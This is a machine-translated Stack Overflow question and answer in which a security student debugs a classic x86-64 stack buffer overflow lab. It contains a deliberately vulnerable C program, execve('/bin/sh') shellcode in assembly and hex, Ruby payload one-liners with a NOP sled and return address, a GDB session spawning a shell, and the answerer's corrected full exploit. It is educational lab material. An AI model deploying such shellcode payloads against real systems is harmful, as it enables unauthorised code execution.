2015-07-28 3 views
4

Примечание: Я уже задавал этот вопрос в Stackoverflow на португальском языке: https://pt.stackoverflow.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa. Но это, кажется, очень сложный вопрос, поэтому этот вопрос - это просто перевод вопроса на португальском языке.Syscall внутри shellcode не будет работать

Я изучаю Информационную безопасность и выполняя некоторые эксперименты, пытаясь использовать эксплойт классический случай переполнения буфера.

Мне удалось создать shell-код , его инъекцию внутри уязвимой программы и ее выполнение. Моя проблема в том, что syscall до execve() для получения оболочки не работает.

Более подробную информацию:

это код уязвимой программы (составитель в Ubuntu 15.04 x88-64 со следующими Gcc флагами: «-fno-стек-протектор -z execstack -g» и при выключенном ASLR):

#include<stdio.h> 
#include<stdlib.h> 
#include<string.h> 

int do_bof(char *exploit) { 
    char buf[128]; 

    strcpy(buf, exploit); 
    return 1; 
} 

int main(int argc, char *argv[]) { 
    if(argc < 2) { 
     puts("Usage: bof <any>"); 
     return 0; 
    } 

    do_bof(argv[1]); 
    puts("Failed to exploit."); 
    return 0; 
} 

Это небольшая программа сборки, которая порождает оболочку, а затем выходит. Обратите внимание, что этот код будет работать независимо. Это: если я собираю, связываю и запускаю этот код один, он будет работать.

global _start 

section .text 
_start: 
    jmp short push_shell 
starter: 
    pop rdi 
    mov al, 59 
    xor rsi, rsi 
    xor rdx, rdx 
    xor rcx, rcx 
    syscall 
    xor al, al 
    mov BYTE [rdi], al 
    mov al, 60 
    syscall 
push_shell: 
    call starter 
shell: 
    db "/bin/sh" 

Это выходом objdump -d -M Intel вышеуказанной программы, где Шеллкод были извлечены из (примечание: язык вывода является португальский):

spawn_shell.o: formato do arquivo elf64-x86-64 

Desmontagem da seção .text: 

0000000000000000 <_start>: 
    0: eb 16     jmp 18 <push_shell> 

0000000000000002 <starter>: 
    2: 5f      pop rdi 
    3: b0 3b     mov al,0x3b 
    5: 48 31 f6    xor rsi,rsi 
    8: 48 31 d2    xor rdx,rdx 
    b: 48 31 c9    xor rcx,rcx 
    e: 0f 05     syscall 
    10: 30 c0     xor al,al 
    12: 88 07     mov BYTE PTR [rdi],al 
    14: b0 3c     mov al,0x3c 
    16: 0f 05     syscall 

0000000000000018 <push_shell>: 
    18: e8 e5 ff ff ff   call 2 <starter> 

000000000000001d <shell>: 
    1d: 2f      (bad) 
    1e: 62      (bad) 
    1f: 69      .byte 0x69 
    20: 6e      outs dx,BYTE PTR ds:[rsi] 
    21: 2f      (bad) 
    22: 73 68     jae 8c <shell+0x6f> 

Эта команда будет полезной нагрузки, которая впрыснуть шеллкода наряду с необходимой NOP sleed и обратный адрес, который будет перезаписать оригинальный обратный адрес:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"' 

До сих пор я уже отлаживал свою программу с помощью шелкода, введенного очень осторожно, обращая внимание на регистр RIP, видя, где выполнение идет не так. Я обнаружил, что:

  • Обратный адрес правильно перезаписан и выполнение переходит к моему шеллкоду.
  • Выполнение идет хорошо до линии «e:» моей программы сборки, где происходит syscall до execve().
  • Syscall просто не работает, даже если регистр правильно настроен для выполнения системного вызова. Как ни странно, после этой строки все биты регистра RAX и RCX настроены.

Результатом является то, что выполнение переходит к неусловному переходу, который снова вызывает адрес оболочки, а цикл бесконечности запускается до тех пор, пока программа не завершится сбой в SEGFAULT.

Это основная проблема: Syscall не будет работать.

Некоторые примечания:

  • Некоторые скажут, что мои «/ бен/ш» строки должно быть нулем. Ну, это не кажется необходимым, nasm, похоже, неявно задает нулевой байт, и моя программа сборки работает, как я уже сказал.
  • Помните, что это 64-битный шелл-код.
  • Этот шелкод работает в следующем коде:

    char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 
    
    int main() { 
        void (*func)(); 
        func = (void (*)()) shellcode; 
        (void)(func)(); 
    } 
    

Что случилось с моим шеллкода?

EDIT 1:

Благодаря ответу Jester, то первая проблема была решена. Кроме того, я обнаружил, что в шеллкоде нет требования к работе в одиночку. Новый код Ассамблеи для шеллкода:

spawn_shell: formato do arquivo elf64-x86-64 


Desmontagem da seção .text: 

0000000000400080 <_start>: 
    400080: eb 1e     jmp 4000a0 <push_shell> 

0000000000400082 <starter>: 
    400082: 5f      pop %rdi 
    400083: 48 31 c0    xor %rax,%rax 
    400086: 88 47 07    mov %al,0x7(%rdi) 
    400089: b0 3b     mov $0x3b,%al 
    40008b: 48 31 f6    xor %rsi,%rsi 
    40008e: 48 31 d2    xor %rdx,%rdx 
    400091: 48 31 c9    xor %rcx,%rcx 
    400094: 0f 05     syscall 
    400096: 48 31 c0    xor %rax,%rax 
    400099: 48 31 ff    xor %rdi,%rdi 
    40009c: b0 3c     mov $0x3c,%al 
    40009e: 0f 05     syscall 

00000000004000a0 <push_shell>: 
    4000a0: e8 dd ff ff ff   callq 400082 <starter> 
    4000a5: 2f      (bad) 
    4000a6: 62      (bad) 
    4000a7: 69      .byte 0x69 
    4000a8: 6e      outsb %ds:(%rsi),(%dx) 
    4000a9: 2f      (bad) 
    4000aa: 73 68     jae 400114 <push_shell+0x74> 

Если я собрать и связать его, он не будет работать, но если инъекционное это в другой программе в качестве полезной нагрузки, это будет! Зачем? Потому что, если я запускаю эту программу самостоятельно, она попытается прервать уже завершенную строку NULL «/ bin/sh». Кажется, что ОС выполняет начальную настройку даже для программ сборки. Но это неверно, если я вставляю шеллкод и многое другое: реальной причиной моего syscall не удалось - строка «/ bin/sh» не была завершена NULL во время выполнения, но работала как отдельная программа, потому что в этом случае он был NULL прекращен.

Таким образом, вы используете шелкографию, поскольку автономная программа не является доказательством того, что она работает.

Эксплуатация прошла успешно ... По крайней мере, в GDB. Теперь у меня есть новая проблема: эксплойт работает внутри GDB, но не выходит за его пределы.

$ gdb -q bof3 
Lendo símbolos de bof3...concluído. 
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"') 
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"') 
process 13952 está executando novo programa: /bin/dash 
$ ls 
bof bof2.c bof3_env  bof3_new_shellcode.txt bof3_shellcode.txt get_shell  shellcode_exit shellcode_hello.c shellcode_shell2 
bof.c bof3 bof3_env.c bof3_non_dbg  func_stack  get_shell.c  shellcode_exit.c shellcode_shell shellcode_shell2.c 
bof2 bof3.c bof3_gdb_env bof3_run_env  func_stack.c shellcode_bof.c shellcode_hello shellcode_shell.c 
$ exit 
[Inferior 1 (process 13952) exited normally] 
(gdb) 

И снаружи:

$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"') 
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error) 

Сразу я искал о нем и нашел этот вопрос: Buffer overflow works in gdb but not without it

Первоначально я думал, что это был просто вопрос незадана две переменные среды и открыть новый обратный адрес , но несоответствие двух переменных не привело к минимальной разнице:

$ gdb -q bof3 
Lendo símbolos de bof3...concluído. 
(gdb) unset env COLUMNS 
(gdb) unset env LINES 
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"') 
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"') 
process 14670 está executando novo programa: /bin/dash 
$ 

Итак, теперь это второй вопрос: почему эксплойт работает внутри GDB, но не выходит за его пределы?

+0

При угадывании 'strcpy' копирует только первые 0 байт. Поэтому, если эксплоит содержит любые 0, то вы только копируете часть эксплойта до первого 0. – John3136

+0

@ John3136, как вы можете видеть, это не так. – Jester

ответ

3

Проблема mov al,0x3b. Вы забыли обнулить верхние биты, поэтому, если они уже не равны нулю, вы не будете выполнять системный вызов execve, а что-то еще. Простая отладка должна была указывать на это. Решение тривиально: просто вставьте xor eax, eax. Кроме того, поскольку вы добавляете обратный адрес к вашему эксплойту, строка перестает быть нулевой. Его также легко исправить, сохранив нуль во время выполнения, используя, например, mov [rdi + 7], al сразу после того, как вы очистили eax.

Полный эксплуатируют может выглядеть следующим образом:

ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

Начальная часть соответствует:

jmp short push_shell 
starter: 
    pop rdi 
    xor eax, eax 
    mov [rdi + 7], al 
    mov al, 59 

Обратите внимание, что в связи с изменением размера кода, смещение для jmp и call в конце также необходимо было изменить, а также количество команд nop.

Приведенный выше код (с адресом обратной связи, скорректированным для моей системы) отлично работает здесь.

+0

Хорошо, хорошо ... Вы работали с шелкодеком, и я переделал свой шеллкод, чтобы он работал. Однако возникает еще более странная проблема: эксплойт работает внутри GDB, но не работает с программой как автономной. = D – Sid

+0

Немного разная схема памяти при автономной работе. Если вы используете правильный адрес, он также работает автономно. – Jester

Смежные вопросы